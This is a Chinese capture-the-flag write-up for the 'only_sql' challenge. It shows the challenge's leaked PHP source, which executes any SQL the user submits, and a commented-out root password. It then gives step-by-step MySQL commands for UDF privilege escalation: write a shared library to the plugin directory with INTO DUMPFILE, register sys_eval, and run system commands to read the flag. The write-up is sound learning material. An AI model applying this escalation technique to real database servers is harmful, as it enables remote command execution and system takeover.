0%

西湖论剑

only_sql

连上自己的数据库,load data写文件进去

读到源码:

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<?php
error_reporting(0);
// mine
// $db_host = '127.0.0.1';
// $db_username = 'root';
// $db_password = '1q2w3e4r5t!@#';
// $db_name = 'mysql';

$db_host = $_POST["db_host"];
$db_username = $_POST["db_username"];
$db_password = $_POST["db_password"];
$db_name = $_POST["db_name"];
if(isset($db_host)){
try {
$dsn = "mysql:host=$db_host;dbname=$db_name";
$pdo = new PDO($dsn, $db_username, $db_password);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$_SESSION['dsn']=$dsn;
$_SESSION['db_username']=$db_username;
$_SESSION['db_password']=$db_password;
} catch (Exception $e) {
die($e->getMessage());
}
}
if(!isset($_SESSION['dsn'])){
die("<script>alert('请先连接数据库');window.location.href='index.php'</script>");
}

?>

<!DOCTYPE html>
<html>
<head>
<title>执行数据库命令</title>
<link rel="stylesheet" type="text/css" href="style.css">
</head>
<body>
<div class="container">
<h1>执行数据库命令</h1>
<form action="query.php" method="post">
<div class="form-group">
<label for="db_command">MySQL命令:</label>
<input type="text" id="db_command" name="db_command" style="width: 500px;" required>
</div>
<div class="form-group">
<button type="submit">执行命令</button>
</div>
</form>

<div class="result">

<?php
if (isset($_POST['db_command'])) {
$db_command = $_POST["db_command"];
$dsn=$_SESSION['dsn'];
$db_username = $_SESSION['db_username'];
$db_password = $_SESSION['db_password'];

try {
$pdo = new PDO($dsn, $db_username, $db_password,array(PDO::MYSQL_ATTR_LOCAL_INFILE => true));
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

$stmt = $pdo->prepare($db_command);
$stmt->execute();
$result = $stmt->fetchAll(PDO::FETCH_ASSOC);

if ($result) {
echo "<h2>执行结果:</h2>";
echo "<table>";
echo "<tr>";
foreach (array_keys($result[0]) as $column) {
echo "<th>$column</th>";
}
echo "</tr>";
foreach ($result as $row) {
echo "<tr>";
foreach ($row as $value) {
echo "<td>$value</td>";
}
echo "</tr>";
}
echo "</table>";
} else {
echo "<p>没有结果返回。</p>";
}
} catch (Exception $e) {
echo "<p class='error-message'>执行错误:" . $e->getMessage() . "</p>";
}
}
?>
</div>
</div>
</body>
</html>

eeee 没啥用

直接读flag———明明说是sql结果flag不在数据库里面

a632333b578fdec9ceafb91aac43c792

然后提权,先是日志提权,然后udf,我都没有成功,

image-20240204232610093

复现的时候看见大佬用的udf??可能我对动态链接处理那里出了问题吧(只能手写??)

udf提权

读plugin位置

1
show variables like '%plugin%';

/usr/lib/mysql/p1ugin/,注意这里是1不是l

接下来写动态链接库

手工写入

1
SELECT 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INTO DUMPFILE '/usr/lib/mysql/p1ugin/udf.so';

会报generate error,没关系

创建自定义函数

1
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';

调用命令,flag在环境变量

1
select sys_eval('env');

image-20240204232922793